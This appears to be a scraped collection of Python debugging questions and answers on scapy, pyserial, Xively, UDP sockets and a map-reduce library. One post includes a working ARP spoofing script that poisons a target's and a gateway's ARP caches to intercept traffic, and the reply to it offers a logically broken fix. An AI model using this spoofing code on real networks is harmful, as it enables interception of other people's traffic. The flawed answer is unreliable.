I'm trying to use the sniff() function that scapy provides but it raises the following error:
Traceback (most recent call last):
File "TestCode.py", line 54, in <module>
packets = getMessege()
File "TestCode.py", line 45, in getMessege
return sniff(count=getLen(), lfilter=filterFrom)
File "C:\Heights\PortableApps\PortablePython2.7.6.1\App\lib\site-packages\scapy\sendrecv.py", line 575, in sniff
sel = select([s],[],[],remain)
select.error: (10038, 'An operation was attempted on something that is not a socket')
Here is the code (FromGlobal is a tuple that contains the IP and Port of the sender):
def getLen():
while True:
length, LenFrom = sock.recvfrom(1024)
try:
IntLen = int(length)
except:
pass
else:
if LenFrom == FromGlobal:
return IntLen
def filterFrom(pck):
try:
return pck[IP].src == FromGlobal[0] and pck[UDP].sport == FromGlobal[1]
except:
return False
def getMessege(): # TODO This needs to return only the messege and port
return sniff(count=getLen(), lfilter=filterFrom)
packets = getMessege()
print packets.show()
The weird part is that if I try to do it like so:
def func1():
return int('1')
def lfilter(pack):
return TCP in pack and pack[IP].src != '8.8.8.8'
def func():
return sniff(count=func1(), lfilter=lfilter)
var = func()
print var.show()
it works perfectly well. If someone could point out the difference between the two it would help a lot.
I'm use WinPcap 4.1.3 and scapy 2.x.
Well, Resolved it myself. apparently if you do:
from scapy.all import *
from scapy.layers.inet import *
the sniff function won't works so do only
from scapy.all import *
Related
I'm trying to get the mac address to be automatically added to the spoof and restore function instead of typing it manually. Not too long ago it worked fine but now it doesn't. The "get_mac" function works by itself but not when I add it this code. Why am I getting this error?:
Traceback (most recent call last):
File "arp_spoof.py", line 33, in <module>
spoof(target_ip_str, spoof_ip_str)
File "arp_spoof.py", line 15, in spoof
target_mac = get_mac(target_ip_str)
File "arp_spoof.py", line 11, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
This is my code:
import scapy.all as sc
import time
def get_mac(ip):
arp_request = sc.ARP(pdst=ip)
broadcast = sc.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_request = broadcast/arp_request
answered_list = sc.srp(arp_broadcast_request, timeout=4, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip_str)
packet = sc.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
sc.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(target_ip_str)
source_mac = get_mac(source_ip)
packet = sc.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
sc.send(packet, count=4, verbose=False)
packet_sent_count = 0
target_ip_str = input("Enter the target's IP: ")
spoof_ip_str = input("Enter the gateway or spoof ip: ")
try:
while True:
spoof(target_ip_str, spoof_ip_str)
spoof(spoof_ip_str, target_ip_str)
packet_sent_count += 2
print("\r[+] Packets sent: " + str(packet_sent_count), end="")
time.sleep(2)
except KeyboardInterrupt:
print("\t\t\n[+] Operation stopped by keyboard interruption [+]")
restore(target_ip_str, spoof_ip_str)
restore(spoof_ip_str, target_ip_str)
In the get_mac function write an if statement and check if the answered_list is empty; if it is, then return answered_list, just like so:
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, iface="wlan0", timeout=3, verbose=False)[0]
if answered_list == "":
return answered_list[0][1].hwsrc
I have my rpi connected up to a digital scales via RS232, a MAX3232 serial port / ttl module connected into the GPIO. Successfully collected the weight data streaming from the scales using this code (data is in blocks of 20 and the weight is at 11 - 14). This prints it out locally in terminal:
import serial
import time
ser = serial.Serial("/dev/ttyAMA0")
read = ser.read(20)
def get_num(read):
return float(''.join(ele for ele in read if ele.isdigit() or ele == '.'))
while True:
print(get_num(read))
time.sleep(2)
This works great but my python code to send datastream to xively isn't so good.
def get_num(read):
return float(''.join(ele for ele in read if ele.isdigit() or ele == '.'))
# function to return a datastream object. This either creates a new datastream,
# or returns an existing one
def get_datastream(feed):
try:
datastream = feed.datastreams.get("(get_num(read))")
return datastream
except:
datastream = feed.datastreams.create("(get_num(read))", tags = "weight")
return datastream
def run():
feed = api.feeds.get(FEED_ID)
datastream = get_datastream(feed)
datastream.max_value = None
datastream.min_value = None
while True:
weight = get_num(read)
datastream.current_value = weight
datastream.at = datetime.datetime.utcnow()
try:
datastream.update()
except requests.HTTPError as e:
print "HTTPError({0}): {1}".format(e.errno, e.strerror)
time.sleep(5)
run()
It checks out OK in IDLE - but when run it generates an error as follows:
Traceback (most recent call last):
File "xivelycodescales.py", line 51, in <module>
run()
File "xivelycodescales.py", line 36, in run
datastream = get_datastream(feed)
File "xivelycodescales.py", line 32, in get_datastream
datastream = feed.datastreams.create("(get_num(read))")
File "/usr/local/lib/python2.7/dist-packages/xively/managers.py", line 416, in create
response.raise_for_status()
File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 773, in raise_for_status
raise HTTPError(http_error_msg, response=self)
requests.exceptions.HTTPError: 422 Client Error:
I can see what the error type is - and had good help at the RPI forums. But can't figure out where I've gone wrong
Many thanks
I am new to python so need your help on the following error message. I have two files first one is "test1.py" which is I am running and has the following code.
import sys, time, re, os, pickle
from ComLib import *
obj = Com()
obj.ComOpen()
obj.ComReset()
obj.ComClose()
and the second file is "ComLib.py" and has the following code
import serial, sys, re, pickle, time
class Com:
def ComOpen(self):
self = serial.Serial()
self.port = "COM1"
self.baudrate = 9600
self.bytesize = serial.EIGHTBITS #number of bits per bytes
self.parity = serial.PARITY_NONE #set parity check: no parity
self.stopbits = serial.STOPBITS_ONE #number of stop bits
self.timeout = 1 #non-block read
self.xonxoff = True #disable software flow control
self.rtscts = False #disable hardware (RTS/CTS) flow control
self.dsrdtr = False #disable hardware (DSR/DTR) flow control
self.writeTimeout = 2 #timeout for write
self.open()
return
def ComClose(self):
self.close()
return
def ComReset(self):
print "Executing ComReset function...!!"
self.write("~~~~~~~~~~\r")
i = 0
while i<10 :
response = self.readline()
print "Inside first while loop...!!"
print "response = "+response
if (response == ':'):
print "-->colon found...ready for next input<---"
break
i=i+1
time.sleep(0.5)
return
While executing the above I am getting the following error
"Traceback (most recent call last):
File "C:\Users\vgupta\Desktop\KeyAT\final\WDEAutomationTestSuite\WDETestSuite\Bootguard\TC#001.py", line 17, in <modul
e>
obj.ComReset()
File "C:\Users\vgupta\Desktop\KeyAT\final\WDEAutomationTestSuite\APILib\ComLib.py", line 52, in ComReset
self.write("~~~~~~~~~~\r")
AttributeError: Com instance has no attribute 'write'"
Can anyone help me out in finding out what is wrong here.
Thanks,
Vipul
Your decleration Should be:
self.sSerial = serial.Serial()
self.sSerial.port = "COM1"
self.sSerial.baudrate = 9600
.........
then you can do self.sSerial.write("~~~~~~~~~~\r")
class Com is missing __init__
When trying to send and decode an integer using socketserver and port, I get the following error ValueError: invalid literal for int() with base 10: '' (full stack trace at end). I marked the place where the error is with #<----- in the client. Note that I've tried all of the following: Increasing the buffer size, sending it as a string, trying every caste I could think of (to string then int, to float, to int before sending it, to byte then to int, etc.) though I may have missed one.
This is the code for my server:
import socketserver
import threading
import gameplayer
class GameServer:
class GameServerUDPHandler(socketserver.BaseRequestHandler):
def handle_register(self, socket, client_address):
number = len(self.server.base.players) # Zero based
number = number + 1 # One based
socket.sendto(bytes(number), client_address)
self.server.base.players[number] = gameplayer.GamePlayer(id=number)
print(self.server.base.players)
def handle(self):
data = self.request[0].strip()
data = str(data, 'utf-8')
print(data)
socket = self.request[1]
data = data.split('\n')
option = data[0]
print(option)
c_add = self.client_address
if option == "register":
self.handle_register(socket, c_add)
print("test")
elif option == "get_postion":
handle_get_postion(socket, c_add, data[1])
elif option == "change_postion":
hande_changed_postion(socket, c_add, data[1])
# print("{} wrote:".format(self.client_address[0]))
# socket.sendto(data.upper(), self.client_address)
def __init__(self, port):
self.server = socketserver.UDPServer(("localhost", port), self.GameServerUDPHandler)
self.server.base = self
self.players = {}
def start_server(self):
threading.Thread(target=self.server.serve_forever).start()
And my client (where the error is):
class GameClient:
def __init__(self, port, host):
self.port = port
self.host = host
self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def register(self):
self.socket.sendto(bytes("register\n", "utf-8"), (self.host, self.port))
self.numberID = int(self.socket.recv(10240).strip()) #<- WHERE ISSUE IS
print("Received: {}".format(self.numberID))
Full Output (Error starts at part marked):
register
register
{1: <gameplayer.GamePlayer object at 0x10078e390>}
test
Traceback (most recent call last): #<---- Where the error starts in the output.
File "main.py", line 8, in <module>
client.register()
File "/Users/Mike/Desktop/Main/Programming/Work Space/Python/Game/gameclient.py", line 12, in register
self.numberID = int(self.socket.recv(10240))
ValueError: invalid literal for int() with base 10: ''
Change following line in the server code:
socket.sendto(bytes(number), client_address)
with:
socket.sendto(str(number).encode('utf-8'), client_address)
>>> bytes(3)
b'\x00\x00\x00'
>>> str(3)
'3'
>>> str(3).encode('utf')
b'3'
And the cause of the traceback
>>> int(bytes(3))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: invalid literal for int() with base 10: ''
I am trying to write a homework about map-reduce. I run in a terminal:
ioannis#ioannis-desktop:~$ python hw3.py
then in another terminal:
python mincemeat.py -p changeme localhost
Immediately in the former terminal, a bunch of stuff is typed:
ioannis#ioannis-desktop:~$ python hw3.py
error: uncaptured python exception, closing channel <mincemeat.ServerChannel connected 127.0.0.1:58061 at 0x7fabef5045a8>
(<type 'exceptions.TypeError'>:'NoneType' object is not iterable
[/usr/lib/python2.7/asyncore.py|read|83]
[/usr/lib/python2.7/asyncore.py|handle_read_event|449]
[/usr/lib/python2.7/asynchat.py|handle_read|158]
[/home/ioannis/mincemeat.py|found_terminator|82]
[/home/ioannis/mincemeat.py|process_command|280]
[/home/ioannis/mincemeat.py|process_command|123]
[/home/ioannis/mincemeat.py|respond_to_challenge|106]
[/home/ioannis/mincemeat.py|post_auth_init|289]
[/home/ioannis/mincemeat.py|start_new_task|258]
[/home/ioannis/mincemeat.py|next_task|304])
^CTraceback (most recent call last):
File "hw3.py", line 54, in <module>
results = s.run_server(password="changeme")
File "/home/ioannis/mincemeat.py", line 220, in run_server
self.close_all()
File "/usr/lib/python2.7/asyncore.py", line 421, in __getattr__
%(self.__class__.__name__, attr))
AttributeError: Server instance has no attribute 'close_all'
ioannis#ioannis-desktop:~$ python hw3.py
the code for hw3.py:
import mincemeat
import glob
from stopwords import allStopWords
text_files = glob.glob('/home/ioannis/Web Intelligence and Big Data/Week 3: Load - I/hw3data/hw3data/*')
def file_contents(file_name):
f = open(file_name)
try:
# print f.read()
return f.read()
except:
print "exception!!!!!!"
finally:
f.close()
source = dict((file_name, file_contents(file_name))
for file_name in text_files)
def mapfn(key, value):
for line in value.splitlines():
print "I have reach that point!"
...........
...........
def reducefn(k, vs):
result = sum(vs)
return result
s = mincemeat.Server()
s.source = source
s.mapfn = mapfn
s.reducefn = reducefn
results = s.run_server(password="changeme")
print results
In the thread Python, Asyncore and forks, the following suggestion was made:
Change your handle_accept() to return immediately when accept() returns None.
In the file mincemeat.py there is a function:
def handle_accept(self):
conn, addr = self.accept()
sc = ServerChannel(conn, self)
sc.password = self.password
Is the solution to my problem to change something in that function?
s.source = source needs to be s.datasource = source.